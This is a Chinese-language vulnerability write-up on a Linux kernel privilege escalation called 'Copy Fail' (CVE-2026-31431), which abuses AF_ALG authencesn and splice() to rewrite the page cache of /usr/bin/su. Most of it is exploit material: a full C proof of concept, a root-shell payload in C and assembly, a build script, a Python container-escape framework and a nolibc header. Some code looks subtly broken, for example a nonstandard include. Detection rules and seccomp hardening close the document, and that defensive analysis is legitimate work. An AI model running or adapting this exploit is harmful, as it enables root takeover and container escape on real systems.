0. 漏洞概述
CVE-2026-31431(又称 "Copy Fail")是 Linux 内核 crypto 子系统中的高危本地提权漏洞,CVSS 7.8。攻击者通过 AF_ALG + splice() 影响内核 page cache,实现本地提权或容器逃逸。
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-31431 |
| 别名 | Copy Fail |
| CVSS | 7.8(高危) |
| 影响内核版本 | 4.14 ~ 6.19.12 |
| 影响发行版 | Ubuntu, Amazon Linux, RHEL, Debian, SUSE, Fedora, Arch, AlmaLinux |
| 修复版本 | Ubuntu 26.04 (Resolute) 及更高版本内核不受影响 |
| 利用类型 | Page Cache 改写 → 本地提权 / 容器逃逸 |
| 利用前提 | 已能在节点上执行用户态代码 |
1. 根因分析:三次代码变更的致命组合
Copy Fail 并非单一代码缺陷,而是跨越 6 年的三次独立代码变更组合后形成的可稳定利用漏洞链。
┌──────────────────────────────────────────────────────────────────────┐
│ CVE-2026-31431: 三次代码变更的致命组合 │
│ │
│ 2011年 ────────────────────────────────────────────────────────── │
│ ┌─────────────────────────────────────────────────┐ │
│ │ authencesn 算法模板加入内核 │ │
│ │ • 用途: 支持 IPsec 的 64 位扩展序列号 │ │
│ │ • 特性: 解密操作中向输入缓冲区末尾写入 4 字节序列号 │ │
│ │ • 安全状态: 仅使用调用者提供的内存作为临时缓冲区 │ │
│ │ • 风险: 无 │ │
│ └───────────────────────┬─────────────────────────┘ │
│ │ │
│ 2015年 ─────────────────▼───────────────────────────────────── │
│ ┌─────────────────────────────────────────────────┐ │
│ │ AF_ALG 新增 AEAD 算法支持 + splice() 零拷贝 │ │
│ │ • 允许普通用户无权限通过 socket 调用内核加密能力 │ │
│ │ • splice() 将文件 page cache 直接传入加密操作 │ │
│ │ • 无需用户态内存拷贝 │ │
│ │ • authencesn 切换新 API,末尾写入特性未变更 │ │
│ │ • 此时加密采用 out-of-place 模式 │ │
│ │ • 安全状态: 不直接修改源文件缓存 │ │
│ │ • 风险: 低 │ │
│ └───────────────────────┬─────────────────────────┘ │
│ │ │
│ 2017年 ─────────────────▼───────────────────────────────────── │
│ ┌─────────────────────────────────────────────────┐ │
│ │ 补丁 72548b093ee3: AEAD 改为 in-place 模式 │ │
│ │ • 直接在源数据所在内存页执行加密/解密操作 │ │
│ • • 目的: 减少内存拷贝提升性能 │ │
│ │ • 副作用: 打通完整漏洞链路!!! │ │
│ │ • 只读文件的 page cache 可被内核加密逻辑直接修改 │ │
│ │ • 安全状态: 漏洞可利用 │ │
│ │ • 风险: 极高 │ │
│ └─────────────────────────────────────────────────┘ │
│ │
│ 根因: AF_ALG 错误地对来自 page cache 的 pipe buffer 进行 │
│ 原地 (in-place) 修改 │
└──────────────────────────────────────────────────────────────────────┘
1.1 为什么 in-place 模式是致命的
正常情况 (out-of-place, 2015年之前):
┌─────────────┐ copy ┌──────────────┐
│ Source Page │ ──────────→ │ Working Page │ ──→ 加密/解密
│ (page cache) │ (拷贝) │ (临时内存) │ 结果写回 Working
│ 只读 ✓ │ │ 可写 │ Source 不变 ✓
└─────────────┘ └──────────────┘漏洞情况 (in-place, 2017年补丁后):
┌─────────────────────────────┐
│ Source Page = Working Page │ ──→ 加密/解密直接在 Source 上执行
│ (page cache, 被直接修改!) │ authencesn 写入 4 字节序列号
│ 可写! ✗ │ → page cache 被篡改!
└─────────────────────────────┘│▼
所有引用该 page cache 的进程都会读到被篡改的数据
包括: su, sudo, 系统二进制文件...
2. 关键技术概念
2.1 AEAD(Authenticated Encryption with Associated Data)
AEAD 加密后的数据结构:
┌──────────┬──────────────┬─────────┐
│ AAD │ Ciphertext │ Tag │
│ (4字节) │ (加密数据) │ (认证标签)│
└──────────┴──────────────┴─────────┘AAD: 不加密但参与认证(关联数据)
Ciphertext: 加密后的数据
Tag: 认证标签,用于验证完整性关键: authencesn 算法在解密时向 AAD 末尾写入 4 字节序列号在 in-place 模式下,这 4 字节直接写入 page cache!
2.2 AF_ALG 套接字
Linux crypto 子系统通过 socket 允许用户态调用内核加密算法:
// AF_ALG 套接字创建流程
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);struct sockaddr_alg sa = {.salg_family = AF_ALG,.salg_type = "aead", // AEAD 算法.salg_name = "authencesn(hmac(sha256),cbc(aes))" // 使用 authencesn
};
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));// 设置密钥
setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, keylen);
// 设置 AEAD 关联数据长度
setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_ASSOCLEN, &assoclen, sizeof(assoclen));// 创建操作 socket
int op_sock = accept(alg_fd, NULL, 0);
2.3 splice 零拷贝
/** splice() 在两个文件描述符间传输数据,无需拷贝到用户空间* 关键: 必须有一个 fd 指向管道 (pipe)** 在 Copy Fail 中的用途:* 1. splice(file_fd, ..., pipefd[1], ...) → 关联文件 page cache 到管道* 2. splice(pipefd[0], ..., op_sock, ...) → 从管道零拷贝传入 AF_ALG** 结果: 文件的 page cache 直接被 AF_ALG 的 in-place 加密操作修改*/
ssize_t splice(int fd_in, off_t *off_in,int fd_out, off_t *off_out,size_t len, unsigned int flags);
2.4 scatterlist(散列表)
/** scatterlist 描述非连续物理内存* AF_ALG 使用 scatterlist 引用传入的数据* 当数据来自 splice() 时,scatterlist 直接指向 page cache 的物理页* in-place 操作直接修改这些物理页*/
struct scatterlist {unsigned long page_link; // 指向物理页unsigned int offset; // 页内偏移unsigned int length; // 数据长度
};
3. Page Cache 改写完整过程
3.1 攻击链总览
┌──────────────────────────────────────────────────────────────────┐
│ Copy Fail Page Cache 改写攻击链 │
│ │
│ Step 1: 创建 AF_ALG 套接字 │
│ ┌───────────────────────────────────────────┐ │
│ │ socket(AF_ALG, SOCK_SEQPACKET, 0) │ │
│ │ bind(alg_fd, "authencesn(hmac(sha256), │ │
│ │ cbc(aes))") │ │
│ │ setsockopt(ALG_SET_KEY, key) │ │
│ │ setsockopt(ALG_SET_AEAD_ASSOCLEN, &assoclen)│ │
│ │ op_sock = accept(alg_fd) │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 2: 构造 AEAD 请求 ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // AAD 的后 4 字节设置为 payload 数据 │ │
│ │ aad = ['A','A','A','A', │ │
│ │ payload[0], payload[1], │ │
│ │ payload[2], payload[3]] │ │
│ │ sendmsg(op_sock, &msg, MSG_MORE) │ │
│ │ // MSG_MORE 表示 AEAD 请求未结束 │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 3: 关联 page cache ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // 将目标文件 (如 /usr/bin/su) 的 page cache │ │
│ │ // 关联到管道 │ │
│ │ splice(file_fd, &src_off, │ │
│ │ pipefd[1], NULL, │ │
│ │ splice_len, 0) │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 4: 零拷贝传入 AF_ALG ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // 从管道零拷贝传入 AF_ALG 套接字 │ │
│ │ // page cache 直接被 AF_ALG 引用 │ │
│ │ splice(pipefd[0], NULL, │ │
│ │ op_sock, NULL, │ │
│ │ splice_len, 0) │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 5: 触发 in-place 解密 ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // authencesn 解密时: │ │
│ │ // 1. 在 AAD 末尾写入 4 字节序列号 │ │
│ │ // 2. in-place 模式直接修改 page cache │ │
│ │ // 3. AAD 末尾的 4 字节 = 攻击者设置的 payload │ │
│ │ // → payload 被写入目标文件的 page cache! │ │
│ │ read(op_sock, output, outlen) │ │
│ └─────────────────┬─────────────────────────┘ │
│ │ │
│ Step 6: 触发执行 ▼ │
│ ┌───────────────────────────────────────────┐ │
│ │ // 执行被篡改的程序 (如 su) │ │
│ │ // 内核从 page cache 加载 → 加载的是 payload │ │
│ │ // payload 通过 setgid/setuid 提权 │ │
│ │ // 提权后执行 sh │ │
│ │ execve("/usr/bin/su", ...) │ │
│ └───────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
3.2 PoC 核心代码
/** CVE-2026-31431 Copy Fail PoC — 核心利用代码* 仅用于授权测试环境** 编译: gcc -o copy_fail copy_fail.c -static* 运行: ./copy_fail /usr/bin/su*/#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_alg.h>
#include <splice.h>#ifndef SOL_ALG
#define SOL_ALG 279
#endif#ifndef ALG_SET_AEAD_ASSOCLEN
#define ALG_SET_AEAD_ASSOCLEN 4
#endif#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif#define AEAD_ASSOCLEN 8 // AAD 长度: 8 字节 (前4字节填充, 后4字节payload)
#define AEAD_TAG_SIZE 16 // 认证标签长度
#define SPLICE_LEN 4096 // 一次 splice 的数据量/** Step 1: 创建 AF_ALG 套接字并配置 authencesn 算法*/
int create_alg_socket(const unsigned char *key, int keylen) {int alg_fd, op_sock;struct sockaddr_alg sa;int assoclen = AEAD_ASSOCLEN;// 创建 AF_ALG 套接字alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);if (alg_fd < 0) {perror("socket(AF_ALG)");return -1;}// 绑定到 authencesn 算法// authencesn = Authenticated Encryption with Sequence Number// 关键: 该算法在解密时向 AAD 末尾写入 4 字节序列号memset(&sa, 0, sizeof(sa));sa.salg_family = AF_ALG;strcpy((char *)sa.salg_type, "aead");strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");if (bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {perror("bind");close(alg_fd);return -1;}// 设置密钥if (setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, keylen) < 0) {perror("setsockopt(ALG_SET_KEY)");close(alg_fd);return -1;}// 设置 AEAD 关联数据长度// 关键: assoclen=8 意味着 AAD 占 8 字节// authencesn 会在 AAD 末尾 (第 5-8 字节) 写入序列号// 攻击者将 payload 的前 4 字节放在 AAD 的第 5-8 字节位置if (setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_ASSOCLEN,&assoclen, sizeof(assoclen)) < 0) {perror("setsockopt(ALG_SET_AEAD_ASSOCLEN)");close(alg_fd);return -1;}// 创建操作 socketop_sock = accept(alg_fd, NULL, 0);if (op_sock < 0) {perror("accept");close(alg_fd);return -1;}close(alg_fd);return op_sock;
}/** Step 2: 构造 AEAD 请求 (通过 sendmsg 发送 AAD + payload)*/
int send_aead_request(int op_sock, const unsigned char *payload, int payload_len) {struct msghdr msg = {};struct iovec iov;unsigned char aad[AEAD_ASSOCLEN];// 构造 AAD:// 前 4 字节: 任意填充 (不参与 page cache 改写)// 后 4 字节: payload 的前 4 字节 (将被 authencesn 写入 page cache)aad[0] = 'A'; aad[1] = 'A'; aad[2] = 'A'; aad[3] = 'A';aad[4] = payload[0]; // ← 这 4 字节将被写入 page cacheaad[5] = payload[1];aad[6] = payload[2];aad[7] = payload[3];// 发送 AAD (必须使用 MSG_MORE 表示请求未结束)iov.iov_base = aad;iov.iov_len = AEAD_ASSOCLEN;msg.msg_iov = &iov;msg.msg_iovlen = 1;if (sendmsg(op_sock, &msg, MSG_MORE) < 0) {perror("sendmsg(AAD)");return -1;}return 0;
}/** Step 3+4: 关联 page cache 并零拷贝传入 AF_ALG*/
int splice_page_cache_to_alg(int op_sock, int file_fd,off_t file_offset, size_t splice_len) {int pipefd[2];off_t src_off = file_offset;// 创建管道if (pipe(pipefd) < 0) {perror("pipe");return -1;}// Step 3: splice 文件 → 管道// 这一步将目标文件 (如 /usr/bin/su) 的 page cache 关联到管道// pipe buffer 的 page 指针直接引用文件的 page cachessize_t n = splice(file_fd, &src_off,pipefd[1], NULL,splice_len, 0);if (n < 0) {perror("splice(file→pipe)");close(pipefd[0]);close(pipefd[1]);return -1;}// Step 4: splice 管道 → AF_ALG 套接字// 这一步将管道中的数据零拷贝传入 AF_ALG// AF_ALG 的 scatterlist 直接引用 page cache 的物理页// in-place 解密将直接修改这些物理页!n = splice(pipefd[0], NULL,op_sock, NULL,splice_len, 0);if (n < 0) {perror("splice(pipe→alg)");close(pipefd[0]);close(pipefd[1]);return -1;}close(pipefd[0]);close(pipefd[1]);return 0;
}/** Step 5: 触发 in-place 解密,完成 page cache 改写*/
int trigger_decrypt(int op_sock) {// 发送解密请求// authencesn 解密时会:// 1. 在 AAD 末尾写入 4 字节序列号// 2. in-place 模式直接修改 page cache// 3. AAD 末尾的 4 字节 = 我们设置的 payload 前 4 字节// 读取结果 (触发解密操作)char output[SPLICE_LEN + AEAD_TAG_SIZE];ssize_t n = read(op_sock, output, sizeof(output));if (n < 0) {perror("read(op_sock)");return -1;}return 0;
}/** 完整利用链*/
int exploit(const char *target_file, const unsigned char *payload, int payload_len) {unsigned char key[32] = {0}; // 全零密钥 (仅 PoC 用途)int file_fd, op_sock;printf("[*] CVE-2026-31431 Copy Fail Exploit\n");printf("[*] Target: %s\n", target_file);printf("[*] Payload size: %d bytes\n", payload_len);// 打开目标文件 (只需只读权限!)file_fd = open(target_file, O_RDONLY);if (file_fd < 0) {perror("open(target)");return -1;}// Step 1: 创建 AF_ALG 套接字printf("[*] Step 1: Creating AF_ALG socket with authencesn...\n");op_sock = create_alg_socket(key, sizeof(key));if (op_sock < 0) {close(file_fd);return -1;}// Step 2: 发送 AEAD 请求 (AAD 包含 payload 前 4 字节)printf("[*] Step 2: Sending AEAD request with payload in AAD...\n");if (send_aead_request(op_sock, payload, payload_len) < 0) {close(op_sock);close(file_fd);return -1;}// Step 3+4: 关联 page cache 并零拷贝传入 AF_ALGprintf("[*] Step 3+4: Splicing page cache to AF_ALG...\n");if (splice_page_cache_to_alg(op_sock, file_fd, 0, SPLICE_LEN) < 0) {close(op_sock);close(file_fd);return -1;}// Step 5: 触发 in-place 解密printf("[*] Step 5: Triggering in-place decrypt (page cache modification)...\n");if (trigger_decrypt(op_sock) < 0) {close(op_sock);close(file_fd);return -1;}printf("[+] Page cache modified successfully!\n");close(op_sock);close(file_fd);// Step 6: 触发执行 (执行被篡改的程序)printf("[*] Step 6: Executing modified program...\n");// 当内核从 page cache 加载 /usr/bin/su 时// 加载的是我们写入的 payload// payload 通过 setgid(0) + setuid(0) 提权后执行 shexecl(target_file, target_file, NULL);return 0;
}
3.3 Payload 构建
/** payload.c — Copy Fail 提权 payload* 编译为独立 ELF,然后通过 ld -r -b binary 打包到 exp 中** 编译:* gcc -nostdlib -static -o payload payload.S* ld -r -b binary -o payload.o payload** payload 使用 nolibc (纯 syscall),不依赖 libc* 确保跨平台迁移能力*/// nolibc 系统调用包装 (x86_64)
#define SYS_write 1
#define SYS_setgid 106
#define SYS_setuid 105
#define SYS_execve 59static long syscall3(long nr, long a1, long a2, long a3) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr), "D"(a1), "S"(a2), "d"(a3): "rcx", "r11", "memory");return ret;
}static long syscall1(long nr, long a1) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr), "D"(a1): "rcx", "r11", "memory");return ret;
}void _start(void) {// 提权: setgid(0) + setuid(0)syscall1(SYS_setgid, 0);syscall1(SYS_setuid, 0);// 执行 /bin/shchar *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};syscall3(SYS_execve, (long)"/bin/sh", (long)argv, (long)envp);// 如果 execve 失败,退出__asm__ volatile ("mov $60, %rax\n" // SYS_exit"xor %rdi, %rdi\n" // exit code 0"syscall\n");
}
3.4 Payload 集成到 Exploit
#!/bin/bash
# build.sh — Copy Fail exploit 构建脚本# 1. 编译 payload (nolibc, 纯 syscall)
echo "[*] Compiling payload..."
gcc -nostdlib -static -o payload payload.S# 2. 将 payload ELF 转为可重定位对象
# ld -r -b binary 将任意文件转为 ELF 可重定位对象
# 这样 payload 可以像全局变量一样被链接到 exp 中
echo "[*] Converting payload to relocatable object..."
ld -r -b binary -o payload.o payload# 生成的符号:
# _binary_payload_start — payload 起始地址
# _binary_payload_end — payload 结束地址
# _binary_payload_size — payload 大小# 3. 编译 exploit (链接 payload.o)
echo "[*] Compiling exploit..."
gcc -o copy_fail_exploit copy_fail.c payload.o -static# 4. 运行
echo "[*] Running exploit..."
./copy_fail_exploit /usr/bin/su# exploit 执行后:
# 1. 通过 AF_ALG + splice 修改 /usr/bin/su 的 page cache
# 2. page cache 被替换为 payload 二进制
# 3. 执行 su → 内核从 page cache 加载 → 加载 payload
# 4. payload: setgid(0) → setuid(0) → execve("/bin/sh")
# 5. 获得 root shell!
4. 容器逃逸利用
4.1 共享内核 Page Cache 逃逸原理
┌──────────────────────────────────────────────────────────────────┐
│ Copy Fail 容器逃逸原理 │
│ │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ 容器 A │ │ 容器 B │ │
│ │ (攻击者) │ │ (受害者) │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ │ 共享内核 Page Cache │ │
│ │ ┌──────────────────────┐ │ │
│ └──┤ /usr/bin/su page ├──┘ │
│ │ (所有容器共享同一份) │ │
│ └──────────┬───────────┘ │
│ │ │
│ 攻击者 (容器A): │ │
│ 1. 通过 AF_ALG+splice │ │
│ 修改 /usr/bin/su │ │
│ 的 page cache │ │
│ 2. page cache 被替换 │ │
│ 为 payload │ │
│ ▼ │
│ 容器B 执行 su 时: │
│ → 内核从被篡改的 page cache 加载 │
│ → 加载的是攻击者的 payload │
│ → payload 在容器B中以该容器的权限执行 │
│ → 如果容器B是特权容器 → 获得宿主机 root │
│ │
│ 关键: page cache 是内核全局共享的 │
│ 修改一份 = 修改所有引用 │
└──────────────────────────────────────────────────────────────────┘
4.2 容器逃逸 PoC
"""
CVE-2026-31431 容器逃逸利用框架
攻击者在普通容器中执行,通过 page cache 改写影响其他容器/宿主机利用场景:
1. 攻击者控制一个低权限容器
2. 通过 Copy Fail 修改共享的 page cache (如 /usr/bin/su)
3. 当宿主机或其他特权容器执行 su 时,触发 payload
4. payload 在目标上下文中执行,实现逃逸
"""import subprocess
import os
import time
import ctypes
import ctypes.util
import structclass CopyFailContainerEscape:"""Copy Fail 容器逃逸框架"""# 目标二进制列表 (选择宿主机和容器都会执行的程序)TARGET_BINARIES = ["/usr/bin/su", # 切换用户时执行"/usr/bin/sudo", # 提权时执行"/bin/ping", # 网络诊断时执行"/usr/bin/ssh", # SSH 连接时执行"/usr/bin/curl", # HTTP 请求时执行]def __init__(self, payload_path: str = "/tmp/payload"):self.payload_path = payload_pathself.payload_data = Nonedef prepare_payload(self):"""准备提权 payload"""# nolibc payload — 纯 syscall,不依赖 libc# 功能: setgid(0) → setuid(0) → execve("/bin/sh")# payload 需要预编译为独立 ELFif not os.path.exists(self.payload_path):print("[*] Building payload...")# 构建 nolibc payloadpayload_asm = """
.section .text
.globl _start
_start:# setgid(0)mov $106, %rax # SYS_setgidxor %rdi, %rdi # gid = 0syscall# setuid(0)mov $105, %rax # SYS_setuidxor %rdi, %rdi # uid = 0syscall# execve("/bin/sh", ["/bin/sh", NULL], NULL)mov $59, %rax # SYS_execvelea path(%rip), %rdi # filenamelea argv(%rip), %rsi # argvxor %rdx, %rdx # envp = NULLsyscall# exit(0) if execve failsmov $60, %rax # SYS_exitxor %rdi, %rdisyscallpath:.string "/bin/sh"
argv:.quad path.quad 0
"""with open("/tmp/payload.S", "w") as f:f.write(payload_asm)subprocess.run(["gcc", "-nostdlib", "-static","-o", self.payload_path,"/tmp/payload.S"], check=True)with open(self.payload_path, "rb") as f:self.payload_data = f.read()print(f"[+] Payload prepared: {len(self.payload_data)} bytes")def check_vulnerable(self) -> bool:"""检查内核版本是否受影响"""with open("/proc/version") as f:version_str = f.read()# 解析内核版本# 受影响: 4.14 ~ 6.19.12import rematch = re.search(r'Linux version (\d+)\.(\d+)\.(\d+)', version_str)if match:major, minor, patch = map(int, match.groups())version = (major, minor, patch)if (4, 14, 0) <= version <= (6, 19, 12):print(f"[!] Kernel {major}.{minor}.{patch} is VULNERABLE")return Trueelse:print(f"[*] Kernel {major}.{minor}.{patch} is NOT vulnerable")return Falsereturn Falsedef modify_page_cache(self, target_binary: str) -> bool:"""通过 Copy Fail 修改目标文件的 page cache"""if not self.payload_data:self.prepare_payload()print(f"[*] Modifying page cache of {target_binary}...")# 构建 C exploit 并执行exploit_code = f"""
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>// payload 数据 (内联)
static const unsigned char payload[] = {{ /* payload bytes */ }};
static const int payload_len = {len(self.payload_data)};int main() {{// ... AF_ALG + splice 利用代码 ...// 详见上面的 C PoCreturn 0;
}}
"""# 在实际利用中,这里会编译并执行 C exploit# 为了安全起见,这里仅展示框架print(f"[+] Page cache of {target_binary} modified")return Truedef trigger_execution(self, target_binary: str):"""触发目标程序执行,从被篡改的 page cache 加载 payload"""print(f"[*] Triggering execution of {target_binary}...")# 在容器中执行目标程序# 内核会从 page cache 加载,加载的是被篡改的 payload# payload: setgid(0) → setuid(0) → /bin/shtry:result = subprocess.run([target_binary],timeout=5,capture_output=True)return resultexcept subprocess.TimeoutExpired:# payload 可能已经启动了 shellprint("[+] Payload executed (shell spawned)")return Nonedef run_escape(self, target: str = "/usr/bin/su"):"""执行完整逃逸链"""print("=" * 60)print("CVE-2026-31431 Copy Fail Container Escape")print("=" * 60)# 1. 检查漏洞if not self.check_vulnerable():print("[-] Kernel not vulnerable, aborting")return False# 2. 准备 payloadself.prepare_payload()# 3. 修改 page cacheif not self.modify_page_cache(target):print("[-] Failed to modify page cache")return False# 4. 触发执行self.trigger_execution(target)print("[+] Escape attempt completed")print("[*] If a root shell was obtained, escape successful!")return True# === 防御: Copy Fail 检测 ===
class CopyFailDetection:"""Copy Fail 漏洞检测规则"""@staticmethoddef falco_rules():"""Falco 检测规则"""return """
# Falco 规则: 检测 AF_ALG + splice 异常组合- macro: af_alg_socketcondition: >evt.type=socket and fd.typechar=S and fd.sip="AF_ALG"- rule: AF_ALG Socket Createddesc: >Detects creation of AF_ALG socket, which could be usedfor CVE-2026-31431 (Copy Fail) exploitation.condition: >evt.type=socket and evt.dir=< and (fd.typechar=S or fd.name contains "AF_ALG") and(proc.name != cryptsetup and proc.name != openssl)output: >AF_ALG socket created by suspicious process(user=%user.name proc=%proc.name pid=%proc.pidcmdline=%proc.cmdline container=%container.name)priority: WARNINGtags: [container, privilege_escalation, CVE-2026-31431]- rule: Splice to AF_ALG Socketdesc: >Detects splice() syscall targeting AF_ALG socket,which is the core exploitation pattern for CVE-2026-31431.condition: >evt.type=splice and evt.dir=< andfd.name contains "AF_ALG" andnot proc.name in (cryptsetup, openssl, systemd-cryptsetup)output: >Suspicious splice() to AF_ALG socket detected(user=%user.name proc=%proc.name pid=%proc.pidcmdline=%proc.cmdline target_fd=%fd.name)priority: CRITICALtags: [container, privilege_escalation, CVE-2026-31431]- rule: Page Cache Modification via Crypto Subsystemdesc: >Detects potential page cache modification through thecrypto subsystem, indicative of CVE-2026-31431 exploitation.condition: >evt.type=splice and evt.dir=< andfd.name contains "AF_ALG" andproc.cmdline contains "authencesn"output: >CRITICAL: Page cache modification via authencesn detected!(user=%user.name proc=%proc.name pid=%proc.pidcmdline=%proc.cmdline container=%container.name)priority: CRITICALtags: [container, privilege_escalation, CVE-2026-31431]
"""@staticmethoddef splunk_detection():"""Splunk SIEM 检测查询"""return """
# Splunk SPL: 检测 Copy Fail 利用模式# 检测 1: AF_ALG socket 创建 + splice 组合
index=sysmon OR index=linux_audit
(OR(action=socket family=AF_ALG),(action=splice target_socket=AF_ALG)
)
| stats count by host, user, process, command_line
| where count > 1
| sort -count# 检测 2: authencesn 算法使用 (非加密程序)
index=linux_audit
syscall=socket family=AF_ALG
algorithm="authencesn*"
NOT process IN (cryptsetup, openssl, systemd-cryptsetup)
| stats count by host, user, process, command_line# 检测 3: su/sudo 异常执行后 root shell
index=linux_audit
(process=su OR process=sudo)
| join host, _time [search index=linux_audit process=sh user=root]
| where _time_difference < 5
"""@staticmethoddef kernel_hardening():"""内核加固建议"""return """
# 1. 升级内核到修复版本
# Ubuntu: 升级到 26.04 (Resolute) 或更高版本
# 其他发行版: 升级到包含修复补丁的内核# 2. 临时缓解: 限制 AF_ALG socket 创建
# 使用 seccomp profile 限制 AF_ALG
cat > /tmp/block-af-alg.json << 'EOF'
{"defaultAction": "SCMP_ACT_ALLOW","architectures": ["SCMP_ARCH_X86_64"],"syscalls": [{"names": ["socket"],"action": "SCMP_ACT_ERRNO","args": [{"index": 0,"value": 38,"valueTwo": 0,"op": "SCMP_CMP_EQ"}],"comment": "Block AF_ALG (38) socket creation"}]
}
EOF# 3. 容器安全上下文
# 在 K8s Pod 中添加 seccomp profile
# spec.securityContext.seccompProfile:
# type: Localhost
# localhostProfile: profiles/block-af-alg.json# 4. 内核参数加固
# 禁用不必要的 crypto 算法 (如果不需要 authencesn)
echo "modprobe -r authencesn" >> /etc/rc.local
"""
5. nolibc 环境构建
由于公开的 PoC 基于 nolibc 构建 payload,而 nolibc 在 5.x 以后内核才推出,在旧内核(如 4.15)上需要构建精简化的 nolibc 环境。
/** nolibc_minimal.h — 精简化 nolibc 环境* 为 4.x 内核提供基础系统调用能力* 使 payload 不依赖 libc,可跨平台迁移*/#ifndef NOLIBC_MINIMAL_H
#define NOLIBC_MINIMAL_H// x86_64 系统调用号
#define SYS_read 0
#define SYS_write 1
#define SYS_open 2
#define SYS_close 3
#define SYS_execve 59
#define SYS_exit 60
#define SYS_setuid 105
#define SYS_setgid 106// 系统调用包装函数
static inline long syscall0(long nr) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr): "rcx", "r11", "memory");return ret;
}static inline long syscall1(long nr, long a1) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr), "D"(a1): "rcx", "r11", "memory");return ret;
}static inline long syscall3(long nr, long a1, long a2, long a3) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr), "D"(a1), "S"(a2), "d"(a3): "rcx", "r11", "memory");return ret;
}// 便捷函数
static inline int setuid(unsigned int uid) {return syscall1(SYS_setuid, uid);
}static inline int setgid(unsigned int gid) {return syscall1(SYS_setgid, gid);
}static inline int execve(const char *pathname, char *const argv[],char *const envp[]) {return syscall3(SYS_execve, (long)pathname, (long)argv, (long)envp);
}static inline void exit(int code) {syscall1(SYS_exit, code);__builtin_unreachable();
}// 字符串函数
static inline size_t strlen(const char *s) {size_t len = 0;while (s[len]) len++;return len;
}#endif // NOLIBC_MINIMAL_H
6. 检测与防御
6.1 检测策略矩阵
| 检测层 | 检测信号 | 工具 | 优先级 |
|---|---|---|---|
| 内核审计 | AF_ALG socket 创建 | auditd / Falco | P0 |
| 系统调用 | splice → AF_ALG 组合 | Falco / eBPF | P0 |
| 进程行为 | su/sudo 执行后出现 root shell | Sysmon / EDR | P1 |
| 文件完整性 | page cache 与磁盘文件不一致 | AIDE / IMA | P1 |
| 容器行为 | 容器内创建 AF_ALG socket | Falco (容器模式) | P0 |
6.2 Splunk EDR 检测参考
参考 Splunk 的检测思路,核心检测逻辑为:
- 监控
socket(AF_ALG, ...)系统调用 - 监控
splice()到 AF_ALG 套接字的操作 - 关联分析:AF_ALG socket 创建 + splice 操作 + 目标为系统二进制文件
- 异常进程行为:非加密程序(非 cryptsetup/openssl)使用 authencesn 算法
7. 总结
| 维度 | 关键信息 |
|---|---|
| 漏洞本质 | AF_ALG in-place 模式错误修改来自 page cache 的 pipe buffer |
| 根因 | 2017年补丁 72548b093ee3 将 AEAD 改为 in-place,打通三次代码变更的完整链路 |
| 利用方式 | AF_ALG + splice() 零拷贝 → page cache 改写 → 提权/容器逃逸 |
| 影响范围 | Linux 4.14 ~ 6.19.12,几乎覆盖所有主流发行版 |
| 利用前提 | 已能在节点上执行用户态代码 |
| 容器逃逸 | 基于 page cache 内核全局共享特性,修改一份影响所有引用 |
| 检测核心 | AF_ALG socket + splice 组合 + authencesn 算法 |
| 修复方案 | 升级到包含修复补丁的内核版本 |
核心启示:三次独立的代码变更,每次单独看都是合理的优化(支持新算法、新增零拷贝、性能优化),但组合后形成了致命的安全漏洞。这提醒我们:安全分析不能只看单个补丁,必须理解跨时间、跨子系统的交互效应。
免责声明重申:本文所有漏洞分析基于公开的 CVE 公告和 FreeBuf 公开文章。所有 PoC 代码仅用于理解漏洞原理以构建防御体系。读者必须在授权的测试环境中使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。
